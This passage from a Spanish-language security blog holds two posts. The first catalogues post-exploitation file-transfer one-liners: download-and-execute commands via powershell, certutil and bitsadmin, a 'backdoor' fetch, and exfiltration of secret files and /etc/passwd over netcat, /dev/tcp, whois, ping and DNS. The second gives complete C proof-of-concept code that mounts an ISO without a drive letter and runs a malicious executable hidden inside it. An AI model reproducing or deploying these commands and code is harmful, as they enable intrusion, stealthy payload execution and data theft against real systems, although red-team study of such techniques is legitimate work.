sábado, 9 de enero de 2021

Técnicas para transferir archivos durante una post-explotación

Normalmente en cualquier ejercicio de red team cuando se consigue acceso a un sistema tendremos que ingeniárnoslas para subir distintos archivos, continuando así con el proceso de post-explotación.

Recientemente he visto un paper muy completo en Seebug del chino xax007 con un montón de técnicas que siempre conviene tener a mano:

Crear un servidor HTTP

Los siguientes comandos iniciarán el servicio HTTP en el directorio actual, en el puerto 1337.

python2:
python -m SimpleHTTPServer 1337

python3:
python -m http.server 1337

Ruby:
ruby -rwebrick -e'WEBrick::HTTPServer.new(:Port => 1337, :DocumentRoot => Dir.pwd).start'

Ruby 1.9.2+:
ruby -run -e httpd . -p 1337

Perl:
perl -MHTTP::Server::Brick -e '$s=HTTP::Server::Brick->new(port=>1337); $s->mount("/"=>{path=>"."}); $s->start'
perl -MIO::All -e 'io(":8080")->fork->accept->(sub { $_[0] < io(-x $1 +? "./$1 |" : $1) if /^GET \/(.*) / })'

PHP 5.4+:
php -S 0.0.0.0:1337

busybox httpd:
busybox httpd -f -p 8000

Descargar y ejecutar archivos desde el servidor HTTP

A continuación se muestran algunas maneras de descargar y ejecutar archivos desde un servidor HTTP utilizando las propias herramientas del sistema en sistemas Windows y Linux.

WINDOWS

powershell:
powershell (new-object System.Net.WebClient).DownloadFile('http://1.2.3.4/5.exe','c:\download\a.exe');start-process 'c:\download\a.exe'

Certutil:
certutil -urlcache -split -f http://1.2.3.4/5.exe c:\download\a.exe&&c:\download\a.exe

bitsadmin:
bitsadmin /transfer n http://1.2.3.4/5.exe c:\download\a.exe && c:\download\a.exe

Los siguientes comandos sólo descargarán el fichero indicado:

regsvr32:
regsvr32 /u /s /i:http://1.2.3.4/5.exe scrobj.dll

LINUX

Curl:
curl http://1.2.3.4/backdoor

Wget:
wget http://1.2.3.4/backdoor

awk:
awk 'BEGIN {
  RS = ORS = "\r\n"
  HTTPCon = "/inet/tcp/0/127.0.0.1/1337"
  print "GET /secret.txt HTTP/1.1\r\nConnection: close\r\n"    |& HTTPCon
  while (HTTPCon |& getline > 0)
      print $0
  close(HTTPCon)
}'

Usar un servidor HTTP con el método PUT

Con nginx:
mkdir -p /var/www/upload/ # crear dir
chown www-data:www-data /var/www/upload/ # cambiar permisos
cd /etc/nginx/sites-available # entrar al dir del virtual host de nginx

# escribir la config al fichero file_upload
cat < file_upload
server {
    listen 8001 default_server;
    server_name kali;
        location / {
        root /var/www/upload;
        dav_methods PUT;
    }
}
EOF
# escritura completada
cd ../sites-enable # ir al dir de inicio
ln -s /etc/nginx/sites-available/file_upload file_upload # activar file_upload
systemctl start nginx # iniciar Nginx 

Con Python:

Por ej. HTTPutServer.py:
# ref: https://www.snip2code.com/Snippet/905666/Python-HTTP-PUT-test-server
import sys
import signal
from threading import Thread
from BaseHTTPServer import HTTPServer, BaseHTTPRequestHandler



class PUTHandler(BaseHTTPRequestHandler):
    def do_PUT(self):
        length = int(self.headers['Content-Length'])
        content = self.rfile.read(length)
        self.send_response(200)
        with open(self.path[1:], "w") as f:
            f.write(content)


def run_on(port):
    print("Starting a HTTP PUT Server on {0} port {1} (http://{0}:{1}) ...".format(sys.argv[1], port))
    server_address = (sys.argv[1], port)
    httpd = HTTPServer(server_address, PUTHandler)
    httpd.serve_forever()


if __name__ == "__main__":
    if len(sys.argv) < 3:
        print("Usage:\n\tpython {0} ip 1337".format(sys.argv[0]))
        sys.exit(1)
    ports = [int(arg) for arg in sys.argv[2:]]
    try:
        for port_number in ports:
            server = Thread(target=run_on, args=[port_number])
            server.daemon = True # Do not make us wait for you to exit
        server.start()
        signal.pause() # Wait for interrupt signal, e.g. KeyboardInterrupt
    except KeyboardInterrupt:
        print "\nPython HTTP PUT Server Stoped."
        sys.exit(1)

Modo de funcionamiento:
$ python HTTPutServer.py 10.10.10.100 1337
Starting a HTTP PUT Server on 10.10.10.100 port 1337 (http://10.10.10.100:1337) ...

Subir archivos al HTTP PUT Linux con Curl:
$ curl --upload-file secret.txt http://ip:port/

Con Wget:
$ wget --method=PUT --post-file=secret.txt http://ip:port/

Windows Powershell:
$body = Get-Content secret.txt
Invoke-RestMethod -Uri http://ip:port/secret.txt -Method PUT -Body $body

Transferencia de ficheros usando Bash /dev/tcp 

Primero necesitamos levantar un puerto en el equipo donde recibiremos el archivo:
nc -lvnp 1337 > secret.txt

Desde el equipo que envía:
cat secret.txt > /dev/tcp/ip/port

Transferencia de archivos usando el protocolo SMB 

Crear un servidor SMB simple Para configurar el servidor SMB necesitaremos usar Impacket: https://github.com/SecureAuthCorp/impacket.

Impacket está instalado por defecto en Kali Linux (smbserver.py).

Sintaxis: impacker-smbserver ShareName SharePath
Ejemplo: impacker-smbserver share `pwd`

Descargar archivos desde el servidor SMB:
copy \\IP\ShareName\file.exe file.exe

Subir archivos al servidor SMB:
net use x: \\IP\ShareName
copy file.txt x:
net use x: /delete

Transferencia de archivos usando el comando whois: 

Receptor Host B:
nc -vlnp 1337 | sed "s/ //g" | base64 -d

Envío desde Host A:
whois -h 127.0.0.1 -p 1337 `cat /etc/passwd | base64`

Transferencia de archivos usando el comando ping: 

Receptor Host B:
Guardar archivo ping_receiver.py
import sys

try:
    from scapy.all import *
except:
    print("Scapy not found, please install scapy: pip install scapy")
    sys.exit(0)


def process_packet(pkt):
    if pkt.haslayer(ICMP):
        if pkt[ICMP].type == 8:
            data = pkt[ICMP].load[-4:]
            print(f'{data.decode("utf-8")}', flush=True, end="", sep="")

sniff(iface="eth0", prn=process_packet)

Y ejecutarlo:
python3 ping_receiver.py

Envío desde host A:
xxd -p -c 4 secret.txt | while read line; do ping -c 1 -p $line ip; done

Transferencia de archivos usando el comando dig: 

Receptor Host B:

El siguiente código utiliza los módulos scapy de Python, es necesario instalarlos manualmente.

Hay que guardar el código en dns_receiver.py:
try:
    from scapy.all import *
except:
    print("Scapy not found, please install scapy: pip install scapy")

def process_packet(pkt):
    if pkt.haslayer(DNS):
        domain = pkt[DNS][DNSQR].qname.decode('utf-8')
        root_domain = domain.split('.')[1]
        if root_domain.startswith('gooogle'):
            print(f'{bytearray.fromhex(domain[:-13]).decode("utf-8")}', flush=True, end='')

sniff(iface="eth0", prn=process_packet)

Y ejecutarlo:
python3 dns_receiver.py

Transferencia de archivos usando netcat: 

Receptor:
nc -l -p 1337 > 1.txt

Enviador:
cat 1.txt | nc -l -p 1337

o
nc 10.10.10.200 1337 < 1.txt

En algunos entornos en los que no hay nc se puede usar Bash's /dev/tcp para recibir el fichero:
cat < /dev/tcp/10.10.10.200/1337 > 1.txt

sábado, 20 de junio de 2020

Cómo montar un ISO malicioso correctamente

El uso de archivos ISO maliciosos se lleva usando desde hace tiempo en muchas campañas de malware: Phobos, ZLoader, LokiBot, Nanocore, Grandoreiro... pero hasta ahora no había visto un artículo tan claro como el de Mateusz, fundador de vx-underground, dónde muestra cómo montar correctamente un archivo ISO para ser utilizado con fines maliciosos. Veamos pues cómo montar una ISO sin establecer una ruta visible para el usuario y/o asignar una letra de dispositivo. 




Primero, ¿por qué no usar un archivo VHD/VHDX (disco duro virtual) en lugar de un ISO (imagen de CD o DVD)? Ambos tienen que se virtualizados y montados por Windows y ambos utilizan llamadas a API similares (Virtual Storage API), pero muchos antivirus parecen ser incapaces de montar mediante programación un archivo VHD/VHDX, aunque parece que si son capaces de analizar imágenes ISO en cierta medida. ¿Entonces por que los desarrolladores de malware no usan mejor ficheros VHD? Pues básicamente porque el tamaño mínimo de un archivo VHD que se puede asignar en una Tabla de Partición GUID (GPT) es de 5MB.

Centrémonos entonces en los ISOs, mucho más pequeños y versátiles. Como decíamos, coinciden en el uso de ciertas APIs, y concretamente con AttachVirtualDisk podremos montar y leerlo también. Podremos llamar a OpenVirtualDisk​ como se define a continuación:
DWORD ​OpenVirtualDisk​(
  PVIRTUAL_STORAGE_TYPE         VirtualStorageType,  
  PCWSTR                        Path,  
  VIRTUAL_DISK_ACCESS_MASK      VirtualDiskAccessMask,
  OPEN_VIRTUAL_DISK_FLAG        Flags,
  POPEN_VIRTUAL_DISK_PARAMETERS Parameters,
  PHANDLE                       Handle
);

El primer parámetro, VirtualStorageType, debe ser válido como parte de una estructura VIRTUAL_STORAGE_TYPE que se define como:
typedef​​struct​ _​VIRTUAL_STORAGE_TYPE​ {
  ULONG DeviceId;
  GUID  VendorId;
} VIRTUAL_STORAGE_TYPE, *PVIRTUAL_STORAGE_TYPE;

El DeviceId debe establecerse en VIRTUAL_STORAGE_TYPE_DEVICE_ISO. Además, VendorId debe establecerse en VIRTUAL_STORAGE_TYPE_VENDOR_MICROSOFT.
Si hacemos esto así, todo lo demás seguirá siendo prácticamente idéntico que con un archivo VHD/VHDX.

Explicación del código en C con WINAPI

La PoC tiene bastante programación genérica, como verificar que estamos ejecutando Windows 10, obtener la ubicación donde se pone archivo ISO y garantizar que tengamos los privilegios adecuados. A continuación vemos una descripción a alto nivel:

1. Obtener el PEB para asegurarnos de que nuestro código se ejecuta en Windows 10
if​ (Peb->OSMajorVersion != ​0x0a​)
    goto​ FAILURE;

2. Llamar a GetEnvironmentVariable con una variable USERPROFILE para obtener el usuario actual

3. Si nuestra invocación a GetEnvironmentVariable fue exitosa, concatenar "\\Desktop\\Demo.iso"
if​ (GetEnvironmentVariableW(​L"USERPROFILE"​, lpIsoPath, DEFAULT_DATA_ALLOCATION_SIZE) == ​0​)
    goto​ FAILURE;
else
    wcscat(lpIsoPath, ​L"\\Desktop\\Demo.iso"​);

4. Verificar nuestros tokens de seguridad. Si no tenemos SeManageVolumePrivilege hay que solicitarlo.
if (!OpenThreadToken(GetCurrentThread(), TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, FALSE, &hToken))
{
    if (!ImpersonateSelf(SecurityImpersonation))
       goto FAILURE;

    if (!OpenThreadToken(GetCurrentThread(), TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, FALSE, &hToken))
           goto FAILURE;
}

//see if we have the privilege to manage volumes
if (!LookupPrivilegeValueW(NULL, L"SeManageVolumePrivilege", &Luid))
    goto FAILURE;

Tp.PrivilegeCount = 1;
Tp.Privileges[0].Luid = Luid;
Tp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;

//get SeManageVolumePrivilege
if (!AdjustTokenPrivileges(hToken, FALSE, &Tp, sizeof(TOKEN_PRIVILEGES), (PTOKEN_PRIVILEGES)NULL, NULL))
    goto FAILURE;

5. Llamar a OpenVirtualDisk con una estructura VIRTUAL_STORAGE_TYPE correctamente inicializada
Parameters.Version = OPEN_VIRTUAL_DISK_VERSION_1;
Parameters.Version1.RWDepth = OPEN_VIRTUAL_DISK_RW_DEPTH_DEFAULT;

if​(OpenVirtualDisk(&VirtualStorageType, lpIsoPath,
    VIRTUAL_DISK_ACCESS_ATTACH_RO | VIRTUAL_DISK_ACCESS_GET_INFO,
    OPEN_VIRTUAL_DISK_FLAG_NONE, &Parameters,
    &VirtualObject) != ERROR_SUCCESS)
{
    goto​ FAILURE;
}

6. Llamar a AttachVirtualDisk con ATTACH_VIRTUAL_DISK_FLAG establecido en ATTACH_VIRTUAL_DISK_FLAG_READ_ONLY y ATTACH_VIRTUAL_DISK_FLAG_NO_DRIVE_LETTER
AttachParameters.Version = ATTACH_VIRTUAL_DISK_VERSION_1;
if​ (AttachVirtualDisk(VirtualObject, ​0​,
                      ATTACH_VIRTUAL_DISK_FLAG_READ_ONLY | ATTACH_VIRTUAL_DISK_FLAG_NO_DRIVE_LETTER,
              ​0​, &AttachParameters, ​0​) != ERROR_SUCCESS)
{
goto​ FAILURE;
}

7. GetVirtualDiskPhysicalPath para recuperar la ruta física a nuestro ISO montado

8. Si la invocación de GetVirtualDiskPhysicalPath fue exitosa, concatenar "\\Demo.exe"
if​ (GetVirtualDiskPhysicalPath(VirtualObject, &dwData, lpIsoAbstractedPath) != ERROR_SUCCESS)
    goto​ FAILURE;
else
    wcscat(lpIsoAbstractedPath, ​L"\\Demo.exe"​);

9. Llamar a CreateProcess

10. Asegurarse de que, en caso de éxito o fracaso, todos los handles y heaps se hayan cerrado. Salir correctamente.
if (!CreateProcess(lpIsoAbstractedPath, NULL, NULL, NULL, FALSE, NORMAL_PRIORITY_CLASS, NULL, NULL, &Info, &ProcessInformation))
    goto FAILURE;

//close everything
if (VirtualObject)
    CloseHandle(VirtualObject);

if (hToken)
    CloseHandle(hToken);
    
return ERROR_SUCCESS;

Código completo:
#include <Windows.h>
#include <virtdisk.h>
#include <stdio.h>
#include <initguid.h>
#include <sddl.h>

//necessary includes + PEB definition

typedef struct _LSA_UNICODE_STRING {
    USHORT Length;
    USHORT MaximumLength;
    PWSTR  Buffer;
} LSA_UNICODE_STRING, * PLSA_UNICODE_STRING, UNICODE_STRING, * PUNICODE_STRING, * PUNICODE_STR;

typedef struct _LDR_MODULE {
    LIST_ENTRY              InLoadOrderModuleList;
    LIST_ENTRY              InMemoryOrderModuleList;
    LIST_ENTRY              InInitializationOrderModuleList;
    PVOID                   BaseAddress;
    PVOID                   EntryPoint;
    ULONG                   SizeOfImage;
    UNICODE_STRING          FullDllName;
    UNICODE_STRING          BaseDllName;
    ULONG                   Flags;
    SHORT                   LoadCount;
    SHORT                   TlsIndex;
    LIST_ENTRY              HashTableEntry;
    ULONG                   TimeDateStamp;
} LDR_MODULE, * PLDR_MODULE;

typedef struct _PEB_LDR_DATA {
    ULONG                   Length;
    ULONG                   Initialized;
    PVOID                   SsHandle;
    LIST_ENTRY              InLoadOrderModuleList;
    LIST_ENTRY              InMemoryOrderModuleList;
    LIST_ENTRY              InInitializationOrderModuleList;
} PEB_LDR_DATA, * PPEB_LDR_DATA;

typedef struct _PEB {
    BOOLEAN                 InheritedAddressSpace;
    BOOLEAN                 ReadImageFileExecOptions;
    BOOLEAN                 BeingDebugged;
    BOOLEAN                 Spare;
    HANDLE                  Mutant;
    PVOID                   ImageBase;
    PPEB_LDR_DATA           LoaderData;
    PVOID                   ProcessParameters;
    PVOID                   SubSystemData;
    PVOID                   ProcessHeap;
    PVOID                   FastPebLock;
    PVOID                   FastPebLockRoutine;
    PVOID                   FastPebUnlockRoutine;
    ULONG                   EnvironmentUpdateCount;
    PVOID*                    KernelCallbackTable;
    PVOID                   EventLogSection;
    PVOID                   EventLog;
    PVOID                   FreeList;
    ULONG                   TlsExpansionCounter;
    PVOID                   TlsBitmap;
    ULONG                   TlsBitmapBits[0x2];
    PVOID                   ReadOnlySharedMemoryBase;
    PVOID                   ReadOnlySharedMemoryHeap;
    PVOID*                    ReadOnlyStaticServerData;
    PVOID                   AnsiCodePageData;
    PVOID                   OemCodePageData;
    PVOID                   UnicodeCaseTableData;
    ULONG                   NumberOfProcessors;
    ULONG                   NtGlobalFlag;
    BYTE                    Spare2[0x4];
    LARGE_INTEGER           CriticalSectionTimeout;
    ULONG                   HeapSegmentReserve;
    ULONG                   HeapSegmentCommit;
    ULONG                   HeapDeCommitTotalFreeThreshold;
    ULONG                   HeapDeCommitFreeBlockThreshold;
    ULONG                   NumberOfHeaps;
    ULONG                   MaximumNumberOfHeaps;
    PVOID**                    ProcessHeaps;
    PVOID                   GdiSharedHandleTable;
    PVOID                   ProcessStarterHelper;
    PVOID                   GdiDCAttributeList;
    PVOID                   LoaderLock;
    ULONG                   OSMajorVersion;
    ULONG                   OSMinorVersion;
    ULONG                   OSBuildNumber;
    ULONG                   OSPlatformId;
    ULONG                   ImageSubSystem;
    ULONG                   ImageSubSystemMajorVersion;
    ULONG                   ImageSubSystemMinorVersion;
    ULONG                   GdiHandleBuffer[0x22];
    ULONG                   PostProcessInitRoutine;
    ULONG                   TlsExpansionBitmap;
    BYTE                    TlsExpansionBitmapBits[0x80];
    ULONG                   SessionId;
} PEB, * PPEB;

PPEB RtlGetPeb(VOID);

#define DEFAULT_DATA_ALLOCATION_SIZE (MAX_PATH * sizeof(WCHAR))

int wmain(VOID)
{
    DWORD dwError = ERROR_SUCCESS;
    VIRTUAL_STORAGE_TYPE VirtualStorageType = { 0 };
    OPEN_VIRTUAL_DISK_PARAMETERS Parameters;
    ATTACH_VIRTUAL_DISK_PARAMETERS AttachParameters;
    HANDLE VirtualObject = NULL, hToken = NULL;
    WCHAR lpIsoPath[DEFAULT_DATA_ALLOCATION_SIZE] = { 0 };
    WCHAR lpIsoAbstractedPath[DEFAULT_DATA_ALLOCATION_SIZE] = { 0 };
    PPEB Peb = (PPEB)RtlGetPeb();
    static GUID VIRTUAL_STORAGE_TYPE_VENDOR_MICROSOFT_EX = { 0xEC984AEC ,0xA0F9, 0x47e9, 0x901F, 0x71415A66345B };
    LUID Luid = { 0 };
    TOKEN_PRIVILEGES Tp = { 0 };
    PSECURITY_DESCRIPTOR Sd;
    DWORD dwData = DEFAULT_DATA_ALLOCATION_SIZE;
    STARTUPINFOW Info = { 0 };
    PROCESS_INFORMATION ProcessInformation = { 0 };

    //make sure we're on Windows 10
    if (Peb->OSMajorVersion != 0x0a)
        goto FAILURE; 

    //get userprofile e.g. %SystemDrive%\Users\{username}
    if (GetEnvironmentVariableW(L"USERPROFILE", lpIsoPath, DEFAULT_DATA_ALLOCATION_SIZE) == 0)
        goto FAILURE;
    else //append \\desktop\\demo.iso if successful
        wcscat(lpIsoPath, L"\\Desktop\\Demo.iso");

    //get thread tokens
    if (!OpenThreadToken(GetCurrentThread(), TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, FALSE, &hToken))
    {
        if (!ImpersonateSelf(SecurityImpersonation))
            goto FAILURE;

        if (!OpenThreadToken(GetCurrentThread(), TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, FALSE, &hToken))
            goto FAILURE;
    }

    //see if we have the privilege to manage volumes
    if (!LookupPrivilegeValueW(NULL, L"SeManageVolumePrivilege", &Luid))
        goto FAILURE;

    Tp.PrivilegeCount = 1;
    Tp.Privileges[0].Luid = Luid;
    Tp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;

    //get SeManageVolumePrivilege
    if (!AdjustTokenPrivileges(hToken, FALSE, &Tp, sizeof(TOKEN_PRIVILEGES), (PTOKEN_PRIVILEGES)NULL, NULL))
        goto FAILURE;

    VirtualStorageType.DeviceId = VIRTUAL_STORAGE_TYPE_DEVICE_ISO;
    VirtualStorageType.VendorId = VIRTUAL_STORAGE_TYPE_VENDOR_MICROSOFT_EX;

    Parameters.Version = OPEN_VIRTUAL_DISK_VERSION_1;
    Parameters.Version1.RWDepth = OPEN_VIRTUAL_DISK_RW_DEPTH_DEFAULT;

    //open iso file
    if(OpenVirtualDisk(&VirtualStorageType, lpIsoPath, 
                       VIRTUAL_DISK_ACCESS_ATTACH_RO | VIRTUAL_DISK_ACCESS_GET_INFO, 
                       OPEN_VIRTUAL_DISK_FLAG_NONE, &Parameters, 
                       &VirtualObject) != ERROR_SUCCESS)
    {
        goto FAILURE;
    }

    //attach to harddisk with no drive letter/path
    AttachParameters.Version = ATTACH_VIRTUAL_DISK_VERSION_1;
    if (AttachVirtualDisk(VirtualObject, 0, 
                          ATTACH_VIRTUAL_DISK_FLAG_READ_ONLY | ATTACH_VIRTUAL_DISK_FLAG_NO_DRIVE_LETTER, 
                          0, &AttachParameters, 0) != ERROR_SUCCESS)
    {
        goto FAILURE;
    }

    
    //get physical path
    if (GetVirtualDiskPhysicalPath(VirtualObject, &dwData, lpIsoAbstractedPath) != ERROR_SUCCESS)
        goto FAILURE;
    else //if we are able to get physical path, append payload exe that we know is inside of iso file
        wcscat(lpIsoAbstractedPath, L"\\Demo.exe");

    //run malicious executable
    if (!CreateProcess(lpIsoAbstractedPath, NULL, NULL, NULL, FALSE, NORMAL_PRIORITY_CLASS, NULL, NULL, &Info, &ProcessInformation))
        goto FAILURE;

    //close everything
    if (VirtualObject)
        CloseHandle(VirtualObject);

    if (hToken)
        CloseHandle(hToken);
    
    return ERROR_SUCCESS;

FAILURE: //generic error handling routine, get last error and close any handles that may be open

    dwError = GetLastError();

    if (VirtualObject)
        CloseHandle(VirtualObject);

    if (hToken)
        CloseHandle(hToken);

    return dwError;
}

PPEB RtlGetPeb(VOID)
{
    return (PPEB)__readgsqword(0x60);
}

Fuente: https://vxug.fakedoma.in/papers/VXUG/Exclusive/WeaponizingWindowsVirtualization.pdf

 

CLOWN SAW